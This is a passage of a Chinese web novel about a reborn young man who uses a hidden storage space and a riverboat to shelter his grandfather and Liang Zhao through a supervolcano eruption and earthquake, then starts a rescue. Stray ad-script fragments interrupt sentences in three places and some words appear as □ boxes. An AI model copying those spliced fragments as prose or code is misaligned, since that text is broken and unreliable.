不过他的坐姿从闲散的靠坐变成了端坐,双肘撑着膝盖,交握的双手抵着下巴,拇指反复摩挲,似乎在思考着什么。 凝重的氛围让顾孟然略感窒息,他不敢看梁昭的反应,心里又好奇得不行。 火山、地震、一场经年不停的大雨……怎么想都太过匪夷所思,梁昭会相信吗? 多半会认为他得了失心疯吧? 偷瞄一眼,再瞄一眼,清清嗓子制造点动静。 顾孟然内心天人交战,一个人在边上可劲儿搞小动作,梁昭却沉浸在自己的世界里,完全不为所动。 顾孟然急了,再没了开玩笑的心思。他抬头看向梁昭,神情也随之变得凝重起来,尽可能地解释:“我知道一个梦说明不了什么,但太真实了,真实到好像切身经历过一遍。当然了,口说无凭,试着相信我可以吗?我能向你——” “为什么是我?” 梁昭掀起眼帘,深邃的双眸含着审视望向顾孟然。 不问天灾,不关心哪里安全,梁昭只在意一个问题,“你千方百计找我,带我上船,其实是为了带我一起逃难?” 顾孟然犹犹豫豫点下头,“这、这样说也没错。” “所以为什么是我?”梁昭漫不经心转过身,眉心微拧,漆黑的瞳仁映入顾孟然的侧脸。 察觉到语气太过生硬,梁昭腔调放缓,声音格外轻柔。 “如果蓝星最后沦为一片汪洋,风翼号确实是一个很好的选择。但你可以带上家人,关系不错的同学朋友,或是能给你们提供帮助的人,为什么……偏偏带我?” 短短几句话,问得顾孟然哑口无言。 为什么带上梁昭?当然是因为上辈子,但上辈子这玩意儿是能说的吗? 这几天他一直在思考怎么向梁昭开口,怎么应对梁昭的疑问,可谁知道梁昭的角度——太刁钻了! 灼热的目光好似火烤,顾孟然抿了抿嘴唇,试图蒙混过关:“这不重要,重要的是明天,明天地震就——” “很重要。”梁昭眉头紧锁,指尖反复敲打茶几,眼中闪过一丝微不可察的偏执,大有顾孟然不回答就别想继续往下谈的意味。 “好吧。”顾孟然无奈妥协,“因为梦,还是那个梦。梦里……好几次我都差点死掉,是你一次又一次地救了我。” “虽然事实上我们很多年不联系,但梦境给我的感受太真实了。你在梦里救了我那么多次,不带上你一起能行吗?我怕我良心不安呐!” 没有准备好对策,顾孟然只能实话实说。他语气轻松,好似在开一个无关紧要的玩笑,对他们“梦里”的相处却是只字不提。 梁昭端端注视着顾孟然,没有在他脸上看到任何破绽便敛回了目光,如自言自语般喃喃道:“因为一个梦。” “嗯。”顾孟然低低应了一声。 可算是翻篇了! 梁昭这人简直自带压迫感,顾孟然抹了把额头上不存在的汗,呼吸都通畅了不少。 事情还没有解决,顾孟然又偷偷瞄了梁昭一眼,见他面色凝重,有些不确定地询问道:“光顾着问我,那你呢梁昭,你相信那个梦即将成为现实吗?” 梁昭抬眸对上他的视线,“不知道,但我信你。” 这话让顾孟然心头一暖,可一肚子说辞无用武之地,他茫然地眨眨眼,“那你为什么看起来一点都不在意?你倒是问问我,火山什么时候爆发,地震什么时候来啊。” 梁昭歪头看他:“好,什么时候爆发,什么时候来?” “……明天!” “嗯,知道了。” 沟通不易,顾孟然叹气:“哎,你总是这样。好像什么都不在意,什么都无所谓,活着也行,死了也罢。你真的好丧啊梁昭。” 上辈子梁昭也是如此,不过顾孟然当时比他更丧。 “在梦里把我了解得这么清楚?”梁昭诧异地看他一眼,嘴角噙着淡淡的笑,“我一个人无牵无挂,灾难不来得过且过,灾难来了一样过,确实没任何区别。” “现在不一样了。” 顾孟然指尖微颤,掌心轻轻覆在梁昭肩头,语气从轻松随意变成郑重其事:“你不只是一个人。如果你愿意的话,从今往后,我和外公都可以是你的家人。” 梁昭有一瞬间的愣神,喉咙上下动了动,泄出一声意味不明的轻笑,“嗯,好。” “既然是家人,”顾孟然拖着长长的尾音,憋着坏笑,手掌从梁昭的肩膀滑到手腕,轻轻握住他的左手,“那就有必要带你看一看咱们家的家底。” 话音未落,顾孟然骨节分明的五指紧紧嵌入梁昭指间。 切身感受到属于另一个人的体温,梁昭呼吸一窒,根本没理解到顾孟然话里的意思。而下一瞬,一道刺眼的强光忽然从眼前亮起,梁昭避之不及,被迫闭上双眼。 像是坐上了过山车,强烈的眩晕感刺激着大脑,当光芒消散,梁昭恍然回过神时,他们早已不在客厅中。 梁昭不清楚发生了什么,确认顾孟然完好无损地站在身旁,他蓦地松了一口气,迅速抬眼环视周围。 一片荒地,不知为何,他们从风翼号瞬移到一片荒地中。荒地像是被大型机械开垦好的,泥土蓬松,平坦规整,没有一丝一毫的倾斜度。 湛蓝的天空仿佛一幅劣质装饰画,无风无云,没有黄雾叨扰,空气分外清新。可惜目之所及皆是泥土,偌大一片黄土地,看不见一根多余的杂草。 梁昭还没弄明白到底怎么回事,忽然间,水流声夹杂着一阵窸窸窣窣的声响从右前方传来,他抬眼望去,瞳孔紧缩,一群与周遭环境格格不入的家禽家畜突兀地闯入视线。 与此同时,身旁传来一声轻笑,梁昭皱眉抽回视线,只见顾孟然似笑非笑地看着他,一脸玩味。 “难得啊,难得在你脸上看到紧张。怎么样?还不错吧,我的秘密基地。”顾孟然嘴角不受控制地上扬,本想张伸手比画一下,手一抬才发现,他和梁昭手还牵着呢。 两人皆是一愣,同时松开手。 气氛莫名变得尴尬,顾孟然有意无意别开脸,轻轻摸了下鼻头。好在梁昭对眼前这片荒地更感兴趣,紧跟着追问道:“你的秘密基地?这是哪里?你用了什么办法让我们突然出现在这?” “这就是要告诉你的另一件事了。”顾孟然清了清嗓子,开始一本正经地胡说:“梦醒之后,我发了一场高烧,人都差点烧没了,但那天之后,我身体里就莫名多出这个类似……随身空间的东西。” 这些天顾孟然实在是憋坏了,外公年纪大了,顾孟然只敢告诉他储物空间,而过分新奇的种植空间,他怕吓到外公,一直没敢提。 梁昭年轻啊!接受新鲜事物 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的能力强。 顾孟然逮着他就是一通介绍,将两个空间的功能、作用,以及现目前的物资囤积情况,毫无保留地告诉梁昭。 不愧是顾孟然见过情绪最稳定的人,面对这超出认知范畴的空间,梁昭和上辈子一样,只是提出几个疑问便迅速掌握到空间的精髓——用来种地。 两人肩并肩,沿着空间边缘漫无目的地溜达。 经过溪流边,梁昭俯身掬了一捧水,放在鼻子底下嗅了嗅,“没有怪味,水能喝吗?” “能,下雨之后地表水资源污染严重,上——”顾孟然嘴瓢了一下,赶忙补救:“梦里我们就是靠溪水度日的。” 溪水堪比泉水,这也是顾孟然之前不大量囤水的原因。 梁昭有意无意瞥了他一眼,抬手将水往嘴边送。 “诶!”顾孟然眼疾手快,及时拍开梁昭的手。 水“哗哗”洒了一地,梁昭不解地看向他。顾孟然扑哧一笑,指着溪边游荡的小鸭小鹅,“很脏的朋友,要喝去上游喝。” 梁昭的目光被游荡在四周的家禽家畜所吸引,饶有兴致地问道:“它们也是空间自带的?” “空间才没这么大方,除了泥土和水,其他都是我买回来的。外公说了,物资再多也有吃完的一天,要有生产才是硬道理。诺,所以我就买了些家禽家畜养着,准备用来繁殖。”顾孟然打开了话匣子,叭叭叭地解释。 梁昭安静听他说完,眉头微微一挑,“哦?刚刚不是还说,没有把这个空间告诉孟爷爷吗?他让你怎么生产?” 顾孟然心里“咯噔”一声,连忙打哈哈道:“以前讲大道理的时候随口说的嘛,不重要。我每天晚上抽时间喂鸡喂猪的好麻烦,以后还要种地呢,我不管,你必须来帮忙!” 话题转得有些生硬,梁昭没深究,看着他笑,“好。” 全是泥巴的空间实在没什么好逛的,大致转了一圈,该看的也看了,该说的也说了,顾孟然准备带着梁昭出去。 怎么进来的便怎么出去,旁人进出空间必须获得顾孟然这个主人的首肯,还得与他有肢体接触。 梁昭比顾孟然高大半个头,手也比他大上一圈。明明来时已经牵过一次了,可左手再次被梁昭炙热的体温所包裹,顾孟然的耳尖却悄无声息地染上了绯色。 扭扭捏捏与梁昭牵上手,刚准备走,顾孟然脑海中忽然又冒出一个关键问题。 “那个……”顾孟然偷瞄梁昭,吞吞吐吐欲言又止。 察觉到他的反常,梁昭扭头看过来,“嗯?” 顾孟然面上一热,艰难吐出几个字:“欠你的钱——” “天灾快来了,人都快没了,怎么还惦记着这个?”梁昭打断他的话,哑然笑道:“更何况你带我上船逃难,变相救了我的命,算起来应该是我欠你才对。” 顾孟然摇摇头:“那倒没有,以你的本事,灾后一定可以平安活下来的。我只是想……让你过得更好一点。” “对我这么有自信?”梁昭眼眸微垂,眼中温柔转瞬即逝。 不等顾孟然回答,他再度开口:“其实我还有一个问题。怕我不相信,这些天你一直瞒着我,那今天又是为什么,为什么突然告诉我?” 顾孟然耸耸肩:“天灾明天就到,今晚就是最好的时机。就算你不信、当我是疯子,我也会劝你多留一天,明天灾难来了不就能证明了吗?” “我不信为什么要多留一天?”梁昭故意逗他。 顾孟然轻哼一声,半开玩笑道:“双拳难敌四手啊梁昭,上我的贼船还想走?” 12. 第 12 章 * 风翼号靠港抛锚,夜里没有留人值班。 船上三人早早回房休息、养精蓄锐,可第二天一大早,三人在餐厅碰头,分别顶着不同程度的黑眼圈。 也是,火山喷发,地震地裂,搁谁能安心睡着? 草草吃过早餐,孟高阳与梁昭前往机舱、甲板,检查船上设施设备,顾孟然则负责检查、收拾一二楼内各个房间。 风翼号大摆锤即将启动,能固定的家具家电趁早固定好,不能固定、易摇易晃的物件便要趁早收回空间。 怎么拿出来的怎么放回去,忙忙碌碌两小时,顾孟然精心收拾的客厅、房间一朝回到解放前,再次变成光秃秃的样板间。 扫地机、洗地机齐上阵,顾孟然又将风翼号里里外外打扫了一遍。 夏天做家务那叫一个汗如雨下,彻底忙活完,顾孟然浑身衣服都湿透了。汗水黏糊糊地糊在身上不舒服,他刚想去洗个澡休息一会儿,半只脚刚踏进浴室,对讲机又响了。 真是忙碌的一天! 厕所都没来得及上一个,顾孟然又匆匆跑上甲板。 今天一直在屋子里打转,从客厅走到船尾甲板顾孟然才发现,今天的雾,似乎浓得有些可怕。 天黑沉沉的,像是酝酿着一场巨大的暴雨,悬在天边的乌云坠了下来,黑压压云团笼罩着江面、甲板,携着一股压抑的窒息感。 视野严重受阻,三米开外人畜不分。 一走出门,强烈的硫黄味扑鼻而来,顾孟然赶忙戴上口罩,凭着记忆一点点向船尾摸索移动,边走边喊:“外公!梁昭!” “这边,小心一点。” “走慢一点臭小子,千万别掉江里去了!” 一呼一应,顾孟然循着声音找到浓雾中的外公和梁昭。 话说开了就是方便,与外公、梁昭成功碰头,顾孟然也不用再掩饰,当场从空间里掏出一卷硕大的防水篷布。 防水篷布按照风翼号等比量身定制,摊开刚好能将上层建筑全部罩住。原本是用来应对之后漫长的雨季,但孟高阳担心浓雾及火山喷发物腐蚀船体,非得让顾孟然送来一卷。 他们目前位于韶洲境内,顾孟然很想告诉外公,最近的活火山距离他们也有一千多公里,顶多受到火山灰影响,其实不用太担心。 但想想算了,老爷子心疼船,一卷篷布能让他安心也行,反正空间里还有十多卷。 雾太浓了,白天和晚上毫无区别,篷布安装起来格外费劲。老爷子留在甲板上指挥,顾孟然与梁昭先后爬上屋顶,从四个角开始,一点一点地进行固定。 所有准备工作就绪,时间来到了中午。 三个人都出了一身汗,蓬头垢面累得够呛,各自回房洗漱后,三人又重新回到驾驶室碰头。 肚子饿了,但锅碗瓢盆早被顾孟然收起来了。没办法做饭就只能随便吃点速食,还有前些天剩的,老爷子多看一眼都嫌恶心的卤肉。 桌椅板凳也收起来了,偌大的驾驶室只剩一把固定好的船长椅。三人站在驾驶台前解决掉午饭,而后将垃圾打包收拾好,一前一后钻进驾驶台底下。 为防止风翼号被江水掀翻,驾驶室必须留人值班,视情况操舵保持船舶平衡。单独留谁另外两个都不放心,经过昨晚简单的商量,他们决定一起留在驾驶室。 船舶上层建筑通常由钢制甲板打造,采用的焊接技术,只要不受到剧烈撞击,船沉了上层建筑都不一定会散架。 因此,在风翼号内躲避地震,基本不用面临建筑物倒塌的风险,也不用担心被残垣断壁砸伤,比陆地建筑物内更安全一点。 风险不会消失只会转移,一旦翻船,危险系数成倍增加。 驾驶台高大,台下面积较为宽敞,三个人同时躲在底下也不会觉得拥挤,手脚尚有充足的活动空间。 可随着顾孟然哆啦A梦似的,不断从空间里掏出东西,宽敞的驾驶台逐渐变得拥挤起来。 “来来来,救生衣一人一件,穿上,现在就穿上。棉被——来外公,梁昭你们先往旁边挪一挪,这地板太硬了,我铺床棉被在地上。” “防毒面罩一人一个,先挂脖子上吧,以防万一。自动充气皮筏艇,放这儿备用。还有应急干粮、药、水……” “孟然,顾孟然!”孟高阳一声高呼打断顾孟然的絮絮叨叨。 顾孟然停下动作,茫然地抬起头,“怎么了吗?” 不对劲,顾孟然的状态很不对劲,看似平静的湖面暗流涌动,像是……像是在安排后事一样? 老爷子眉头紧拧,看向顾孟然的眼神中满是担忧,“人不是还在这嘛,又不分开,那么着急把家底子翻出来做什么?存你那及用及拿。” “那怎么能行。”顾孟然立刻反驳:“地震一来,分不分开可不是我们说了算的。万一风翼号不小心翻了,被迫分开怎么办?万一我晕了怎么办?不行,你们必须多带——” “行了顾孟然。” 老爷子拍拍顾孟然的肩膀,轻言细语道:“别太紧张,我们准备得很充分,风翼号也没那么脆弱,不会有事的。” “可是——” 顾孟然还想与外公争辩,手腕忽然被一抹温热所包裹。 这一次打断他的是梁昭,梁昭轻轻捉住他的手腕,坚定的目光中漾着温柔的安抚,“孟爷爷说得对,不用太紧张,我们一直牵着手就不会分开了,不是还有空间吗?” 梁昭眉心微动,不动声色地朝他眨眨眼。 空间……对,还有空间! 梁昭的话语宛如一缕春风,轻而易举便吹散顾孟然的慌乱。脑雾消散,混沌的大脑开始运转,顾孟然渐渐清醒并冷静下来。 和上辈子不一样了,他们有船,有大把物资,还有空间可以作为最后的生存底牌。他不会再失去外公,失去梁昭,他有能力护住想保护的人,带着他们安安稳稳地活下去。 这辈子,结局一定不一样。 时间一分一秒地过去,灾难迟迟没有发生。 只知道是今天下午,不知道具体时间,除了等待别无他法。 安静的驾驶室渐渐响起鼾声,孟高阳穿着救生衣蜷躺在棉被上,半个头枕着顾孟然的大腿,愉快地与周公会面。 昨晚没睡好,一放松下来,顾孟然也犯起了困。 他与梁昭并肩靠在驾驶台另一头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,手还拉在一起,下巴一点一点的。 眼皮子越来越重,梁昭轻声在耳边说了句“睡吧,我看着”,顾孟然安心地闭上眼,意识逐渐涣散。 “轰隆隆——” 一声惊天巨响划破天际,江水为之震颤,风翼号摇晃不止。 睡梦中的孟高阳瞬间惊醒,他猛然惊坐起,浑然忘了自己还蜷在驾驶台底下,头顶直接与驾驶台来了个亲密接触,撞得“哐当”一声。 “外公,外公你没事吧?”顾孟然睡意全无,整个人瞬间清醒。他赶忙牵起外公的手,关切地询问道。 “问题不大。”老爷子揉了揉晕乎乎的脑袋,警惕环视四周,“刚刚那是……地震了?开始了?” 震耳欲聋的轰鸣宛如闷雷炸响,回荡在耳畔久久不散,风翼号却停止摇晃,随江面渐渐趋于平静。 轰鸣声带来了不可避免的恐慌,气氛或多或少有些紧张。这时,凝眉沉思的梁昭摇摇头,轻声安抚:“应该只是火山喷发。” “火山?”老爷子眉头一皱,“孟然不是说最近的火山一千多公里吗?咋能这么大声呢?” 而且最近的活火山只是一座名不见经传的小火山,按理说威力不应该这么大。 顾孟然切身经历过一次,心中早有答案。 他以肉眼可见的速度紧张了起来,与外公、梁昭交握的双手用力收紧,嘴唇轻颤:“是莫森,莫森火山喷发了。” 莫森位于华国西部地区,距离韶洲两千五百公里左右。它与黄石火山齐名,是世界现存最大的超级火山之一。 两千五百公里外尚能听到轰鸣声,其威力可想而知。 就是这一声巨响,此时此刻,高达1000摄氏度的岩浆正从莫森火山口喷涌而出。火焰与岩浆化作高速旋转的子弹,从四面八方喷射,将周遭城市、村庄无情摧毁。 烟雾粉尘弥漫,大量有毒气体夹杂着火山灰直冲云霄。 数十万人将在此次灾难中丧生,一座超级火山释放出的能量相当于2亿吨TNT当量,不亚于一颗小型陨石撞击蓝星。 酝酿千年,一次喷发燃尽全部寿命,其巨大的威力直接将整座火山夷为平地。它不甘独自消亡,临死前发出悲鸣,势必拉着人类同归于尽。 掌心被人轻轻挠了一下,顾孟然喘着粗气,从噩梦般的回忆中抽离。见梁昭正担忧地看着自己,他心头一暖,食指挠了下梁昭的手背回应。 十分钟过去了,江面彻底恢复平静,不见一丝波澜,仿佛刚才巨大的轰鸣声只是一场集体幻觉。 驾驶室紧张凝重的气氛有所缓和,老爷子哈欠连天,有气无力地靠着内侧挡板,迷迷糊糊又快睡过去了。 “心真大。”顾孟然小声吐槽,用力晃外公的手臂,试图让他清醒清醒。 可他刚刚抬手晃了一下,忽然间,安静的驾驶室传来一阵短促而颇有节奏的“嗡嗡”声。 “谁电话响了?”还没睡着孟高阳随口一说。 地面上,放在几人身前的防毒面罩在地板上跳跃碰撞,发出与手机振动很是相似的声响。顾孟然死死拧着眉,还没来得及开口,霎时间,天摇地动,大摆锤一键启动。 13. 第 13 章 * “哗,哗啦——砰!” 浑浊的浓雾弥漫在天地间,江面波涛汹涌,江水像是被一股无形的力量搅动,波浪凝聚成一堵厚厚的水墙,猛烈地拍打着船身。 浪头一波比一波凶猛,好似一头狡猾顽劣的猛兽,将风翼号高高掀起,又重重拍下,彰显它撕碎一切的恐怖力量,亦嘲笑人类的渺小无能。 情况比预想中还要糟糕,驾驶室内乱作一团。 巨浪掀起船尾,藏身驾驶台下方的三人猛地被甩向内侧挡板,真正诠释了什么叫作拍在墙上抠都抠不下来。 没有任何缓冲,下一秒,毫无规律的巨浪忽然掀起船头,地面严重倾斜,牢牢嵌在地面上的U型驾驶台顿时变成一个倒扣的水杯。 没有把手,没有支撑点,一旦被甩出驾驶台,他们便面临自由落体,从驾驶室这一头滚到另一头,只需短短一瞬。 好在顾孟然和梁昭个子高,两人把孟高阳夹在中间,打直双腿伸长手臂,把自己牢牢卡在驾驶台之间。 但这样做的坏处是,瞬息间,浪又从侧后方打来,三人重重落回地面,狼狈地摔成一团。 时间被无限拉长,明明才过了一两分钟,顾孟然却觉得过了一个世纪那般漫长。反反复复,起起落落,巨型大摆锤摇得人头昏脑胀,五脏六腑都快位移了。 江面尚且如此,地面的情况……只会更加严重。 “轰!” 浪又来了,携着巨大的嗡鸣声,以雷霆万钧之力重重拍向风翼号。冲击力比先前每一波都要强烈,恨不得一把将风翼号掀翻。 船身剧烈晃动,在抛锚的情况下,风翼号依旧被巨浪拍出去四五米远。整艘船直接向□□斜了45度,导致小半个船尾瞬间被江水淹没。 “警告警告,船身严重倾斜!船身严重倾斜!” “警告警告,甲板涉水!甲板涉水!” 一时间,驾驶室宛若闹市,红色警报灯闪烁,警告声震耳欲聋。 “不行不行,得去操舵,这样下去风翼号会沉的!” 船身不断摇晃,甚至还在不断向□□斜,顾孟然强忍晕眩刚稳住身形,外公撑着半个身子立刻越过他,试图钻出驾驶台。 “外公!”顾孟然和梁昭几乎同时伸手拽住孟高阳。 船身倾斜四十五度,站都站不稳更何况操舵,万一再一道浪打过来,后果不堪设想。但风翼号不能沉,她是顾孟然和外公的心血,还是他们以后的容身之所,绝不能就此沉没。 顾孟然一咬牙,刚打算自己出去操舵,抬头正好对上梁昭投来的视线。 一句话没说,两人相视一笑,默契地同时点头。 军大衣、安全帽、装货用的弹力绳…… 顾孟然一股脑从空间里掏出好些东西,先后分给外公和梁昭。 衣帽虽然不能防摔,但防撞还是很有效果的。 安顿好老爷子,衣帽穿戴整齐,顾孟然将弹力绳一端系在自己腰间,另一端系在梁昭腰间,这样即便甩出去一个,另一个人的力量也能作为缓冲。 考验臂力的时候到了,风翼号严重倾斜,正常走到驾驶台前显然不太现实。好在他们就在驾驶台下方,只要探出上半身,借由上肢的力量慢慢站起来即可。 事不宜迟,顾孟然与梁昭交换了个眼神,半个身子立刻探出驾驶台,手脚并用地朝台面发起进攻。 只见梁昭伸手扣住驾驶台,单靠手臂的力量将自己从驾驶台底下挪出来,而后一个完美的引体向上,轻轻松松站在驾驶台前。 高个子与常锻炼的优势体现得淋漓尽致,两人分明同时行动,梁昭登顶时,顾孟然还在山脚下,刚开始往外爬。 情况危急,顾孟然没空维护他那可怜的自尊心,梁昭宽大粗粝的手掌近在咫尺,他毫不犹豫握住,借力站起身来。 说巧不巧,两人刚来到驾驶台前,晃动停止了。顾孟然顺势看了时间,三分钟,强震整整持续了三分钟。 发动机启动,风翼号主机系统开始运转,打转右舵配合发动机推进,将向□□斜的船身一点一点调整回来。 “轰——” 随着一声巨响,风翼号悬空的右翼重新接触到水面,安静到令人窒息的驾驶室渐渐响起急促的呼吸声。 “呼!”孟高阳长吁一口气,猫着腰从驾驶台底下钻出来,气喘吁吁道:“好险好险,这地震势头也太猛了,空船都差点给我掀翻了!” “震级非常高,不知道地面情况怎么样。”梁昭热出一身汗,他倚着驾驶台脱掉厚实的外套,慢条斯理地摘下安全帽。 劫后余生却没有人能高兴得起来,地震如期而至,这也意味着,顾孟然的“预知梦”正在一点点地应验。 老爷子愁眉苦脸,幽幽叹了口气,“是啊,黄江都跟烧开了似的,地面上……哎!” “这手机也没信号。”孟高阳掏出手机看了一眼,扭头看向顾孟然,“孟然啊,这场地震算是彻底结束了吗?” 军大衣裹在身上像盖了床棉被一样,孟高阳热出一身汗愣是没敢脱,就等着顾孟然发话呢。但他等啊等,顾孟然杵在那跟个雕像似的,一动不动,一言不发。 “顾——” 孟高阳刚准备再叫他一声,梁昭忽然抬手打断他的话。 雾越来越浓,黄雾已然变成了黑雾,玻璃染上一层灰蒙蒙的墨色,站在驾驶室内几乎什么也看不清。 但就算是这样,顾孟然仍坚持看着窗外,眉头紧锁,嘴唇紧绷成一条直线,不知在想些什么。 “吓到了?”梁昭俯身凑近,语气是前所未有的轻柔。 顾孟然还是不说话,轻轻摇头。 “那是怎么了?”梁昭伸手拍拍他的肩膀,唇边漾着浅淡的笑意,低声安抚:“别怕,没事的,我们安全了。” “没有怕。”热得慌,顾孟然解开纽扣脱掉外套,顺手把安全帽也摘了下来。他转身面向梁昭,似乎有些无措,双手百无聊赖地游走在操作台上。 沉吟片刻,顾孟然抬手扇了扇风,唇缝中溢出无声的叹息,“太冒险,我只是觉得、觉得我的决策太草率了,带着你和外公在江面上坐大摆锤。” “其实有办法避免的,我应该提前把空间收拾收拾,把风翼号收进去,然后我们一起去空,咳,去那儿躲着,等地震结束再出来,你和外公就不用遭这些罪了。” 顾孟然越说越恼,反手一巴掌拍在额头上。 梁昭想阻止的,没来得及,悬在半空中的手又默默放回去,“别这么想,天灾人祸本来就是我们该面对的,躲得了一时躲不了一世,你应该锻炼我们的生存能力,万一你不在身边怎么办?我们不能太过于依赖空间。” “怎么会不在身边呢?”顾孟然扭头看向外公又看回梁昭,语气格外笃定:“我们绝不分开,要一直在一起。” 梁昭哑然失笑,“好,不分开,我只是假设 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这一打岔,顾孟然心中郁结顿时散去大半。 雾太浓了,信号网络中断,周围情况一概不知,余光无意扫过操作台上的高频,顾孟然眼睛一亮,立马上前两步。 VHF-CH16,国际航运通用频道。 顾孟然调整好频道,刚拿起对讲机,高频顿时炸开了锅。 “地震,地震!安昌港附近发生特大地震,磐石号船体严重侧翻,呼叫救援,呼叫救援!” “能听到吗?交管交管!船要沉了,人还没出来,救命!” “河山达呼叫救援,船上有人落水,有人落水!” “斧舟号机舱进水,船体船——滋滋滋……” “雾太大了,救援会来吗?完了,全完了!” 触目惊心的求救,绝望的哭喊,江面情况刻不容缓。 VHF覆盖面积有限,对讲机里的呼救基本是安昌港码头及锚地传来的。该应答吗?能应答吗?在可见度不足一米、不清楚具体方位的情况下,他们该施救吗? 对讲机变成了烫手山芋,顾孟然拿也不是,放也不是。就在他举棋不定犹豫不决之时,梁昭忽然从他手上夺走对讲机,轻轻放回操作台。 “救不了。”简简单单三个字,梁昭神情平淡,不见一丝一毫的波澜。 “为——” “还没救呢,怎么就救不了?” 顾孟然刚想说话,孟高阳脱掉军大衣,气冲冲地朝梁昭走来,“你第一天跑船?航行途中收到呼救,只要条件允许,落水必捞,跑不动帮拉,老祖宗留下的规矩你都给忘了?” 老爷子语气太冲了,顾孟然担心他俩在这个节骨眼儿上吵起来,赶忙拉住外公,温声劝阻:“外公你先别急,听梁昭说完啊,吼那么大声干嘛。” 被劈头盖脸一顿训,梁昭面色如常,耐心与孟高阳解释道:“孟爷爷,问题是现在条件不允许。能见度太低,船——” “能见度?”孟高阳整笑了,再次打断梁昭的话:“谁跑船只用眼睛看?雷达、AIS、卫星导航难道是摆设吗?” “外公!”顾孟然气鼓鼓地瞪了外公一眼,扭头朝梁昭扬了扬下巴,“别管他,你继续。” 说话频频被打断,梁昭不恼不怒,继续道:“能见度低只是其一,刚才风翼号侧翻,船尾甲板涉水,机舱也极有可能渗水。我们连风翼号都还没有仔细检查,贸然开船救援只会让自己陷入危险中,或是误伤落水人员。” 这番话不无道理,顾孟然连连点头表示赞同。 孟高阳也听进去了,仿佛泄了气的皮球,整个人瞬间蔫儿了下去。 老爷子渔民出身,最是遵守“江湖道义”,听闻船只遇险却不能及时伸出援手,简直把他架在火上烤,弄得他坐立难安。 冷眼旁观没那么容易,顾孟然心里也不好受,但难受归难受,他不会为了一群不相干的人拿风翼号去冒—— 等等,风翼号不能轻易移动,那柴油小船呢? 这个节骨眼儿了,帮忙救援、打捞船舶等同于天方夜谭,就算出动风翼号也无济于事,但如果不管船,只救人……一艘柴油小船足矣。 一个不成熟的计划浮现在脑海中,顾孟然正想与外公、梁昭说说他的想法,还没来得及开口,高频又响了。 “滋滋——恒…滋滋…盛侧翻,呼%@#!风翼号,风翼号能听到吗?恒荣盛侧翻倾覆,请求救援!请求救援!” 14. 第 14 章 * “安昌港所有遇险船只,安昌港所有遇险船只!风翼号已派出两艘柴油机动力艇进行搜救,请遇险人员及时告知坐标,穿好救生衣,动力艇经过时请大声呼救,必要时请弃船逃生!” 用高频接连播报了两遍,孟高阳放下高频对讲机,转而拿起另一个便携式对讲机:“风翼号叫,1号2号,江面情况如何,请及时汇报!” “滋滋……风翼号风翼号,这里是2号动力艇,1号2号已成功入水,江面……江面浪!有!点!大!” 狂风骤起,翻涌的巨浪如万马奔腾,声势浩大。 又一道水浪猛地拍在船身上,动力艇剧烈摇晃,顾孟然身形不稳,对讲机差点脱手掉进江里。 不行,不能继续停在这里,他们必须尽快动起来,不然就这两艘柴油小船,被水浪掀翻是迟早的事儿。 “梁昭!搞定了吗?”将对讲机塞进救生衣口袋,顾孟然拽了一下系在船边上的缆绳,大声呼喊浓雾中的1号动力艇。 两艘船相隔不到五米,但雾太浓了,人影都看不清。 1号动力艇那边,梁昭将顾孟然抛过来的缆绳系在船舷上,打了个漂亮的索眼结,至此,漂浮在江面的1、2号动力艇彻彻底底地连接在了一起。 “顾孟然,1号搞定!随时可以出发!” “okok立刻出发,倒计时三秒,3、2、1!轰隆——” 两艘动力艇同时出发,齐头并进,朝着恒荣盛的方位航进。 八分钟前,三人在驾驶室拟定了一个简单的救援计划。 两艘动力艇下水救援,顾孟然和梁昭各开一艘,介于江面雾太浓,不宜分头行动,他们决定用缆绳将两艘动力艇连接在一起,以防走散。 老爷子坐镇驾驶室,通过雷达、卫星导航、高频呼救及时判断江面情况,再通过对讲机将遇险船只信息及具体方位告知两艘动力艇,以便实施救援。 截至目前,计划还是很成功的。 首要救援目标为恒荣盛,不是因为顾孟然与那名船员有点头之交,单纯因为恒荣盛离风翼号最近。 “轰轰轰轰——” 迷雾重重的江面,柴油小船均速航行,一路乘风破浪。 发动机噪音堪比拖拉机,顾孟然一点儿也不觉得吵,甚至因噪音相伴,觉得格外安心。 恒荣盛并不好找,顾孟然知道大致方位,但能见度太低,就像是闭着眼睛跑步,感觉跑的是直线,不知不觉就跑偏了。 坐镇驾驶室的老爷子帮了大忙,小船几次偏航都在他的指引下及时调整过来。所幸距离不算太远,耗时五分钟,柴油小船终于在锚地东南面找到了恒荣盛。 情况非常不妙,恒荣盛严重侧翻,仿佛被一股巨力掀了起来,侧躺在江水中,大半个船身被波涛汹涌的江水吞没。 船头还稍微好一点,驾驶室堪堪露出水面,而满载的货舱加剧了船身下沉速度,裹挟着恒荣盛一点点融入冰冷的江水中。 船快沉了,顾孟然自然以为人不在船上,他与梁昭快速搜寻周围水域,围着恒荣盛转了好几圈,结果一个人影也没看到。 坏了!这人……该不会还没出来吧? 顾孟然看着黑洞洞的驾驶室,不祥的预感涌上心头。 恒荣盛大面积涉水,动力系统明显出现了故障。柴油小船从侧方成功靠近驾驶室,可驾驶室内漆黑一片,就算只隔着一两米,肉眼依旧什么也看不见。 电筒,手电筒!顾孟然屏息在空间里翻找,三秒后,一把强光手电筒凭空出现在手中。 他摸索着找到开关,正准备按下去,忽然间——“砰!砰砰砰”,数声凌乱的闷响蓦地从驾驶室里传来。 “救命,救命!我们被困在驾驶室了!” “驾驶室进水了,救救我们!” 呼救声被PMMA风挡阻隔,传到顾孟然耳朵里只剩下一两声“救命”,不过隐约能听出来,声音是一男一女。 来不及思考人为何还在驾驶室里没出来,顾孟然赶忙将手电筒对准驾驶室,快速按下开关。 强光手电在浓雾面前不太够看,开不开手电筒简直毫无区别。顾孟然救人心切,又操作柴油小船往前挪了半米才得以看清船内光景。 与落水的汽车别无二致,此时恒荣盛驾驶室基本等于一个半封闭空间,连通生活区的舱门紧闭,边缘缝隙还在不断渗水,而驾驶室左侧大门随船体悬空,右侧大门沉入水底。 顾孟然没有听错,驾驶室内的确是一男一女,其中一个正是昨天与顾孟然有过一面之缘的男生。 